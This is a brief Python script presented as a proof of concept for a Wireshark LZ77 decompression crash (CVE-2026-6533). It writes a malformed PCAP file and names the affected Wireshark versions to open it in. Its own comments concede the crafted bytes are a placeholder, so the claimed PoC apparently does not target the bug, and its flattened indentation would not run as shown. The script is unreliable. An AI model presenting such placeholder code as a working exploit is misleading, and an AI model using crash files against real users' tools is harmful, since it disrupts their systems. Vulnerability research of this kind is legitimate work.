The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-6533: Wireshark LZ77 Decompression Crash
# This script generates a malformed PCAP file that may trigger the crash.
# Note: Actual byte patterns to trigger the specific LZ77 bug depend on internal implementation details.
import struct
def create_malformed_pcap(filename):
# PCAP Global Header
pcap_global_header = struct.pack('!LHHLLLL', 0xa1b2c3d4, 2, 4, 0, 0, 65535, 1)
# Construct a packet header (dummy values)
ts_sec, ts_usec = 0, 0
incl_len, orig_len = 100, 100
packet_header = struct.pack('!LLLL', ts_sec, ts_usec, incl_len, orig_len)
# Simulate a packet data containing malformed LZ77 compression stream
# In a real scenario, this data would target a specific dissector using LZ77
# This is a placeholder to represent the fuzzing input.
packet_data = b'\x00' * 50 # Ethernet header padding
# Malicious payload attempting to trigger LZ77 logic error
malicious_payload = b'\xff' * 50
with open(filename, 'wb') as f:
f.write(pcap_global_header)
f.write(packet_header)
f.write(packet_data + malicious_payload)
print(f"[+] Malformed PCAP file generated: {filename}")
print(f"[+] Open this file in Wireshark 4.4.0 - 4.4.14 or 4.6.0 - 4.6.4 to test.")
if __name__ == "__main__":
create_malformed_pcap('crash_poc.pcap')